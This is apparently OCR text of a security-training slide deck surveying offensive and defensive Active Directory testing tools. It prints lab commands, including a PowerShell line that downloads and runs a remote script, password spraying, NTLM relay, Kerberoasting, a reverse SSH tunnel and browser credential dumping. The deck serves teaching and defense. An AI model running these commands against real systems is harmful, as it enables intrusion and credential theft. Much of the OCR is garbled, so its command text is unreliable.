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Executive Problem Statement

We must proactively identify and address security weaknesses

before attackers exploit them, using effective tools and strategies
to

Cyber threats are constantly evolving and require

Proactive vulnerability discovery is essential for risk
management.

The right tools enable efficient detection and
remediation of security gaps.
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Recon & OSINT Tooling

Purpose:
Reconnaissance tools are used to gather Breached Data Searches
information about targets before launching https://flare.io
deeper security assessments.
They help identify Recon-NG
that Shodan
attackers might exploit. I R
Value: Breach Data

https://haveibeenpwned.com

These tools streamline the process of
searching for breached data, mapping out an

organization’s online footprint, and URL and Typo Squatting
uncovering potential vulnerabilities early in urlcrazy [domain] -o Report.txt
the engagement.
They are essential for both attackers and Web & Pastes Search
defenders to understand what information is https//netbootcamp.org/pastesearch.htmi
already exposed and to reduce risk https://inteltechniques.com/osint/pastebins.html
proactively. -
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Scan & Enumerate Tooling

Shodan

Search engine for Internet-connected devices; helps identify exposed systems and services.

Useful for discovering vulnerable devices and mapping attack surfaces.

Nmap
Powerful network scanner for host discovery and port scanning.

Used to enumerate open ports, services, and operating system details on target machines.

Masscan

High-speed port scanner capable of scanning entire Internet ranges quickly.

Ideal for large-scale reconnaissance and identifying active hosts.

BLACK HILLS
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Vulnerability Scanning

4 automatically identify security weaknesses in systems, networks, and applications.

% proactively detect and address vulnerabilities before attackers can exploit them, supporting ongoing risk management
and compliance efforts.

Nessus

Industry-standard vulnerability scanner that detects a wide range of security issues, including

Provides detailed reports and remediation guidance to help prioritize and address risks efficiently.

Nexpose

Comprehensive vulnerability management tool that scans networks and systems for vulnerabilities, policy violations, and
exposures.
Integrates with security workflows to track remediation progress and measure risk over time.

Nuclei
Fast, customizable vulnerability scanner focused on web applications and APIs.

Uses community-driven templates to detect a wide variety of vulnerabilities, making it adaptable to emerging threats.

© Black Hills Information Security
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Vulnerability Exploitation - N\

Metasploit

A widely used penetration testing framework that allows security professionals to
against remote target machines.

ds, dsp

asp #95 ‘BP 4888888y

Provides a large database of known exploits and payloads, making it a go-to tool for testing ahash, aop daaaﬂgﬂggg?ﬂgagm‘ b e ok 733;
vulnerabilities and simulating real-world attacks. a8 46 6 8 83b 69b 80 .0sS$398" 183, .dB8d, d63 dGk 788 GAF 7

488’ des *78888P° ~78h 788P’ 788’ 88 788 88b d
88b dB8P 88 8

888888

Exploit-DB

An open-source archive of public exploits and software vulnerabilities

Used by security researchers and penetration testers to find
for known vulnerabilities.

Github
A platform where security researchers and developers share exploit code, tools, and scripts.

Frequently used to discover the latest community-developed resources for vulnerability exploitation
and security testing.

BLACK HILLS
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Web Applications

® Streamline the process of identifying, documenting, and testing web application vulnerabilities.

* Efficiently assess the security posture of web assets and prioritize remediation efforts. .
RedSiege/
EyeWithess

EyeWitness y
Tool for capturing screenshots of web services and interfaces discovered during scans. o : '

Assists in visually documenting and reviewing targets for further analysis

GoWitness
Similar to EyeWitness, GoWitness automates the process of taking screenshots of web applications.

Useful for quickly cataloging and reviewing large numbers of web interfaces found during reconnaissance.

Burp Suite
A comprehensive platform for

Provides tools for scanning, intercepting, and manipulating web traffic to identify and exploit vulnerabilities.

BLACK HILLS
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Local System Tooling

PrivescCheck

Automates the process of checking Windows systems for privilege
escalation vulnerabilities.

Helps identify misconfigurations and weaknesses that attackers could
exploit to gain higher-level access.

Seatbelt PS C:\ADSH\Seatbelt> .\seatbelt —q NTLMSettings
- NTLHSettings —
A post-exploitation enumeration tool for Windows, deS|gned to quickly
gather SyStem information relevant to LanmanCompatibilitylevel : (Send NTLMv2 response only - Win7+ default)
Collects details about security settings, user privileges, and system NTLM Signing Settings
configurations to aid in attack or defense. ClientRequireSigning . False
ClientNegotiateSigning : True
ServerRequireSigning : True
ServerNegotiateSigning : True
LdapSigning : 1 (Negotiate signing)
Session Security
NTLMMinClientSec : 536878912 (Requirel28BitKey)
NTLMMinServerSec : 536870912 (Requirel28BitKey)

NTLM Auditing and Restrictions

InboundRestrictions : (Not defined)

OutboundRestrictions : (Not defined)

InboundAuditing : (Not defined)
© Black Hills Information Security OutboundExceptions .
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Password Spraying/Cred Abuse

Domain Password Spray

Password spraying tools automate .
IEX(New-Object

att_empts to Iog In to mUItlple accounts_ Net.Webclient).DownloadString( 'https://raw.githubusercontent.com/DefensiveOrigin
using a I helplng s/DomainPasswordSpray/master/DomainPasswordSpray.psl')

identify weak credentials across large

. : . . Invoke-DomainPasswordSpray -Password "Summer2026!" -Force
environments without triggering account
lockouts.
These tools are essential for penetration R
testers and defenders to assess $ NetExec smb 192.168.2.4 -u /opt/userlist.txt -p ‘Spring2@26!' --continue-on-
organizational exposure to credential- SlEEess
based attacks and to strengthen password
policies and monitoring
Kerbrute

./kerbrute passwordspray --dc 192.168.2.4 -d doazlab.com -v /opt/userlist.txt
LetMeInNow!

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] The smallest lockout threshold discovered in the domain is 50 login attempts.
[*] Removing disabled users from list.
[*] There are 821 total users found.
[*] Removing users within 1 attempt of locking out from list.
] Created a userlist containing 821 users gathered from the current user's domai
] The domain password policy observation window is set to 50 minutes.
[*] setting a 50 minute wait in between sprays.
[*] Password spraying has begun with 1 passwords
[*] This might take a while depending on the total number of users
[*] Now trying password Summerl025! against 821 users. Current time is 12:57 AM

/["‘] Pas_s._l.r-.rord spra%./inq is complete



Active Directory

BadBlood
Creates a deliberately vulnerable Active Directory environment for testing and training.

Useful for simulating attacks and practicing detection/response in a safe lab setting.

*

ADEXxplorer

[LDy
IE

Allows detailed exploration and analysis of Active Directory structures.

OxFFFFFFFESAS

Helps security professionals visualize and understand AD objects, permissions, and
relationships.

BloodHound

within Active Directory.
Identifies attack paths and privilege escalation opportunities by graphing AD trust relationships.

© Black Hills Information Security
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Active Directory

yfADSH fAD-reports/Testim o-Report.htm#WizardStep-j

These tools are designed to assess and strengthen Active - |
Directory security by automating checks, analyzing B .
configurations, and providing actionable reports. ————

Forest Backup (numbser of tests: 6)

Te sti m O HGP (mamber of 1esis: 3)

Automates Active Directory health checks and diagnostics, o et b e
helping identify misconfigurations and vulnerabilities.

El Forest Replication using Repfdmin (number of tests:
g)

Useful for ongoing monitoring and reporting on AD security
posture.

Optional Features (number of tests: 59

Forest Sites (number of tests: 3) Informational i G Elevated

GPOZaurr

Analyzes Group Policy Objects (GPOs) in Active Directory nc
environments to : :

Provides detailed reports to help administrators remediate
security gaps in GPO configurations.

Z A

BLACK HILLS

PQO-reports/GPOZaurr-Reporthtm WWizardStep-2tk4gi9c

Group Policies Empty & Unlinked
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Active Directory

Ping Castle

Automates Active Directory health checks: Assesses the
security posture of an Active Directory environment by
running automated health checks and diagnostics.

PING

Provides actionable reports: Generates detailed reports .
BY netwrix

highlighting
efforts.

, helping administrators prioritize remediation

Healthcheck ana |y5| S Date: 2025-08-13 - Engine version: 3.4.1.38

ed in the report).

iment effort

x some rules in that area 1o get a score improvement.

Indicators

Domain Risk Level: 75 /100

11 is the maximum score of the 4 indicators and one score cannot be higher than 100 The lower the better

ZA

BLACK HILLS
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Proxy Chains / SSH Tunnels

SSH with ProxyChains

Using a reverse SSH tunnel combined
with proxychains can route internal traffic
through a compromised or uncontrolled
host, effectively publishing parts of the
internal network to that host’s perspective.

This increases the chance of credential
interception, lateral movement, and data
exfiltration if the remote system is
untrusted.

(Reminder for defenders: Block SSH at
your perimeter)

Z A

BLACK HILLS
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RN R [ (s [ VIANAYS -1 EPAls sh -R 9050 tunnel@l0.0.0.8

The authenticity of host '10.0.0.8 (10.0.0.8)"' can't be established.
ED25519 key fingerprint is SHA256:pjZNcGm]1/GOm7T8u+67FeCYo6Xx+2A0gecI 7HXCyRY
This key 1is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes_

root@Nux@l:~# netstat -antp |grep 9050
tep 0 0 127.0.0.1:

tcp6 ) 0 ::1: ok
rootaNnx01 :~# [

26612/sshd:
26612/sshd:

tunnela
tunnela

LISTEN
LISTEN

(BloodHound.py) root@Nux0l:/opt/BloodHound.py# proxychains python3 bloodhound.py -u noprivuser -p
NOPrivU53R' -d doazlab.com -gc dcOl.doazlab.com -ns 192.168.2.4

ProxyChains-3. p://proxychains.st.

INFO: Found AD domain: doazlab.com

INFO: Getting TGT for user

DNS-request| dc@l.doazlab.com

|DNS-response| dc0l.doazlab.com is 192.168.2.4
|S-chain|-<>-127.0.0.1:9050-<><>-192.168.2.4:88-<><>-0K




SMB File Shares - N\

PS C:\DOAZLab\tools> C:\DOAZLab\tools\snaffler.exe C:\DOAZLab\tools\snaf. log

Automate File Discovery: These tools scan SMB file shares to quickly .0 T O T ST
identify sensitive files, credentials, or misconfigurations that could be Meoprree e CHE G HE - B T Heeee CHE i
leveraged by attackers or need remediation by defenders.

by 10ss and Sh3r4 - github.com/Snaffcon/snaffler

Efficient Security Assessment: By automating the search for files of [D0AZLAB\doadmin@ws03] 2025-03-09 05322392 [Info] Parsing args. ..

interest (such as documents containing passwords, keys, or @gg;ggggzsﬂmmﬁzg%% 5055-0305 03:25:305 [info] Tavkane Brs bsceortmy Vacause no ComputerTargets or Pa
confidential data), they help penetration testers and security teams Dopemi el S e R e b s e

efficiently assess organizational risk and prioritize remediation efforts. DoRSL AR doadmntsod] 2033-03-00 831331387 Hntol ECPLInS. Lophcormeiopohucer ¢1scovery.

[DOAZL AB\doadmin@ws05] 2025-03-09 05:22:397 [1nfo] Got 2 computers from AD.
[DOAZLAB\doadmin@ws05] 2025-03-09 05:22:397 [Info] Starting to look for readable shares...

1 . 1 [DOAZLAB\doadmin@ws05] 2025-03-09 05:22:39Z [Info] Created all sharefinder task

Support for Large Environments: Designed to handle large-scale ;mAZLAsggzzgmgwsgg 2025-03°09 031331302 fsﬁaﬁi% GHEE o0 fosz1oh. cizgwm% )

o DOAZLAB i n@ws -U3- H =39z [s C E‘H— DC ADMIN R te Admi
environments, these tools can process and report on thousands of FDOAZL AB\doadnin@WS03] 2023-03-00 03:22:392 [aharc] HAEPBI\\DCOL. doarlab. comcas | Remote Admin

g i \doadmin@ws05] 2025-03-09 05:22:39Z [Share] \\DCO1.doazlab \CS fault sh
. H H DOAZLAB WS -U3- H :39Z [s } DCOl1. N C D t
flles and Shar'es makmg them Va|uab|e f0|" both OffenSNe and fDOAZLAB\dgzdmm@WSOS 2025-03-09 05:22:39z fshz::g] 2\\Dc01.dg§;§b.§gm\osz TeiE chie
o H o [DOAZLAB\doadmin@ws05] 2025-03-09 05:22:39Z [Share] H §<\\DC01l.doazlab.com\NETLOGON> Logon server s

defenSIVe Securlty operatlons_ [DOAZL AB\doadmin@ws051 2025-03-09 05:22:39Z7 [Sharel Hi i<\\DCO01.doazlab.com\SYSVOL> Loaon server sha

Snaffler
PySnaffler
SnafﬂePy blacklanternsecurity/
Manspider MANSPIDER

Z A
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Kerberos Interaction - )

Rubeus

[*] Action: Kerberoasting

A powerful tool for interacting with Kerberos tickets in Windows )
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.

environments. [*] Use /ticket:X or /tgtdeleg to force RCU_HMAC for these accounts.
Used for ticket extraction, ticket manipulation, and various [*] Target Domain . ADSHClass.com
Kerberos attacks (e t|Cket renewa]) mak|ng [*] Searching path 'LDAP://ADSH-DC1.ADSHClass.com/DC=ADSHClass,DC=com' for '(&(samAccountType=80!
it valuable for both O?fGﬂSlve Securlty teStlng and defensive 1Name=%*) (! samAccountName=krbtgt) (! (UserAccountControl:1.2.8U0.113556.1.4.803:=2)))"
monitoring. [*] Total kerberoastable users : U
[*] SamAccountName : ADSync
[*] DistinguishedName : CN=ADSync Service Account,OU=IT,0U=ADSHMedical, DC=ADSHClass,DC=com
[*] ServicePrincipalName : ADSync/adsync.adshclass.com
[*] PwdLastSet : 8/16/2025 7:00:38 PM
Impacket [*] Supported ETypes RCLU_HMAC_DEFAULT

] ] . ) [*] Hash written to C: \ADSH\Rerberas\spns txt
A collection of Python scripts for network protocol interaction,
including Kerberos.

Enables {)enetratlon testers to perform advanced attacks and
enumeration against Active Directory, such as ticket requests,
relay attacks, and credential extraction.

(More about Impacket on Next slide)

© Black Hills Information Security
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Impacket Tools

{imbacketi rnnt@Nuin:fnbtfimbacketfexamPIEE# 1s
JumpNTLMInto.py dcomexec.py karmaSMB . py ntfs-read.py rpcdump . py split.py

set-GPPPassword.py describeTicket.py keylistattack.py ntlmrelayx.py rpcmap . py ticketConverter.py
setADComputers.py  dpapil.py kintercept.py owneredit.py sambaPipe.py ticketer.py
setADUsers.py esentutl.py lookupsid. py ping.py samrdump . py tstool.py
setLAPSPassword.py exchanger.py machine role.py pingb.py secretsdump.py wmiexec.py
setNPUsers.py findDelegation.py mimikatz.py psexec.py services.py wmipersist.py
setUsersSPNs. py getArch.py mgtt check.py raiseChild. py smbclient.py wmiquery.py
addcomputer. py getPac.py mssqlclient.py rbcd. py smbexec.py

atexec.py getST.py mssqlinstance.py rdp check.py smbserver.py

changepasswd.py getTGT. py net.py reg.py sniff.py

dacledit.py goldenPac.py netview.py registry-read.py sniffer.py

© Black Hills Information Security
@BHInfoSecurity
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BLACK HILLS

re-\Windows 2000

pre2k

$ pre2k auth -u noprivuser2090 -p
NOPrivU53R2090! -d doazlab.com -dc-ip
192.168.2.4 -verbose

Used to check for pre-Windows 2000 computers that may
have predetermined static passwords, which are a
common legacy vulnerability in older environments

© Black Hills Information Security
@BHInfoSecurity
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Credential Relay (And LLMNR...)

@Nux01:/opt/impacket/examples# python3 ntlmrelayx.py --http-port 8080 -t ldap:
--shadow-target 'ws05$' --no-smb-server --no-validate-privs |tee -a /opt]

Credential relay tools automate the process of capturing and
relaying authentication credentials (such as NTLM hashes)

g i *] Protocol Client SMB loaded..
across networked systems, often exploiting weaknesses in i Pieteen flio Rod lontd
authentication protocols. *] Protocol Client MSSQL loaded. .
*] Protocol Client IMAP loaded..

q q *] P Ccl MAPS loaded. .

These tools are essential for penetration testers and defenders el Client e
to identify and remediate vulnerabilities related to credential *] Protocol Client LDAP loaded..

. q 0 q *] Protocol Client DCSYNC loaded..
handling and relay attacks in enterprise environments. *] Protocol Client SMTP loaded. .

Protocol Client HTTPS loaded..

Protocol Client HTTP loaded..
Running in relay mode to single host
Setting up HTTP Server on port 8080

Ntimrelayx *] Setting up WCF Server

Setting up RAW Server on port 6666

Automates NTLM relay attacks by intercepting and *] Servers started, waiting for connections
authentication requests to target systems, potentially gaining

unauthorized access. PetitPotam

Responder Exploits weaknesses in Windows protocols to coerce servers

into authenticating to an attacker-controlled system, enabling

Poisons network name resolution protocols to coerce. .
credential relay.

Acts as a rogue server to capture credentials from network

traffic, exploiting common misconfigurations in protocols like Valuable for demonstrating real-world attack paths and testing
SMB and HTTP. mitigation strategies.

Z A
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ADCS Investigation & Abuse

ADCS investigation tools help security teams identify
and exploit weaknesses in certificate services, which
can be leveraged for privilege escalation and lateral
movement in Windows environments.

These tools are essential for both offensive
(pentesting) and defensive (hardening) operations,
enabling organizations to proactively address
certificate-related vulnerabilities.

Certipy lydk/Certipy
Certify

Deployed it
| and forgot about it

GhostPack/Certify

te Property Principals

'] Vulnerabilities
ESC1

Z A

BLACK HILLS

© Black Hills Information Security
W @BHInfoSecurity




Browser Hijacks - N\

Browsers often store passwords and sensitive data’ Ps c:\doazlab\tools\chromelevator> .\chromelevator_x64.exe all -o C:\DOAZLab\L2015
making them a prime target for attackers , ) | ‘ g

Extracting saved credentials can lead to broader network

Direct syscall-Based Reflective Hollowing

compromise if reused elsewhere. AR R AT
Regular checks help identify and mitigate risks from weak || 3100A102555r8 781528068470E8007FBCSFODCLE6FO345912C7CASOAI 481
or exposed browser-stored credentials. —oerae
yorde 1
— 1 cookies, passwords (1 profile)
ChromeElevator [rreie
. . ] EE\S‘ZEAJ.@B‘S‘DB‘;E.SDQSDGF18446ElADSlEQSZB3ABE173D6C0614013A996A724E31
attacks within Chrome, targeting — ostant
weaknesses to gain elevated access or manipulate browser Passwords 1
Settlngs '— 2 cookies, 1 passwords (1 profile)

pe relAdanzlahl+anTlcl rhramalavatars

Useful for testing browser security and identifying vulnerabilities
that could be exploited by attackers.

DonPAPI

Extracts sensitive information (such as )
stored by browsers, especially Chrome, by leveraging Windows
Data Protection APl (DPAPI).

Helps penetration testers and defenders assess the risk of
credential theft via browser hijacking techniques.

Z A
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We have a class next month!
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Information Security

Wild West Hackin Fest — Mile High & Virtual
FEB 10-11 www.antisyphontraining.com

' ANTISYPHON
TRAINING | >
m - . = https://www blackhillsinfose c.com/
-~ ACTIVE DIRECTO RY A ‘ https://www.antisyphontraining.com/
S Ec U R |TY AN D \ https://www.activecountermeasures.com/

https://wildwe sthackinfest.com/

HARDENING

https://defensiveorigins.com/
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